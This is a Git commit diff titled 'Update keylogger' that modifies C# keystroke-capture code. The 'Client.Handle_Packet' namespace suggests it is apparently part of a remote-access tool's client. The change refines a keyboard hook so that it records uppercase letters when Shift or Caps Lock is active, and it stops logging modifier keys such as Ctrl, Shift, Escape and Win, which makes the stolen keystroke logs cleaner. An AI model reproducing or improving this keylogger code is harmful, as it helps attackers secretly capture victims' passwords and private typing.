Update keylogger
This commit is contained in:
parent
32da8715c4
commit
3d6fc39c2c
@ -56,10 +56,11 @@ namespace Client.Handle_Packet
|
|||||||
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
|
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
|
||||||
{
|
{
|
||||||
int vkCode = Marshal.ReadInt32(lParam);
|
int vkCode = Marshal.ReadInt32(lParam);
|
||||||
bool CapsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0;
|
bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
|
||||||
|
bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
|
||||||
string currentKey = KeyboardLayout((uint)vkCode);
|
string currentKey = KeyboardLayout((uint)vkCode);
|
||||||
|
|
||||||
if (CapsLock)
|
if (capsLock || shiftPress)
|
||||||
{
|
{
|
||||||
currentKey = KeyboardLayout((uint)vkCode).ToUpper();
|
currentKey = KeyboardLayout((uint)vkCode).ToUpper();
|
||||||
}
|
}
|
||||||
@ -82,25 +83,31 @@ namespace Client.Handle_Packet
|
|||||||
currentKey = "[ENTER]\n";
|
currentKey = "[ENTER]\n";
|
||||||
break;
|
break;
|
||||||
case "Escape":
|
case "Escape":
|
||||||
currentKey = "[ESC]\n";
|
//currentKey = "[ESC]\n";
|
||||||
|
currentKey = "";
|
||||||
break;
|
break;
|
||||||
case "LControlKey":
|
case "LControlKey":
|
||||||
currentKey = "[CTRL]";
|
//currentKey = "[CTRL]";
|
||||||
|
currentKey = "";
|
||||||
break;
|
break;
|
||||||
case "RControlKey":
|
case "RControlKey":
|
||||||
currentKey = "[CTRL]";
|
//currentKey = "[CTRL]";
|
||||||
|
currentKey = "";
|
||||||
break;
|
break;
|
||||||
case "RShiftKey":
|
case "RShiftKey":
|
||||||
currentKey = "[Shift]";
|
//currentKey = "[Shift]";
|
||||||
|
currentKey = "";
|
||||||
break;
|
break;
|
||||||
case "LShiftKey":
|
case "LShiftKey":
|
||||||
currentKey = "[Shift]";
|
//currentKey = "[Shift]";
|
||||||
|
currentKey = "";
|
||||||
break;
|
break;
|
||||||
case "Back":
|
case "Back":
|
||||||
currentKey = "[Back]";
|
currentKey = "[Back]";
|
||||||
break;
|
break;
|
||||||
case "LWin":
|
case "LWin":
|
||||||
currentKey = "[WIN]";
|
//currentKey = "[WIN]";
|
||||||
|
currentKey = "";
|
||||||
break;
|
break;
|
||||||
case "Tab":
|
case "Tab":
|
||||||
currentKey = "[Tab]\n";
|
currentKey = "[Tab]\n";
|
||||||
|
Loading…
x
Reference in New Issue
Block a user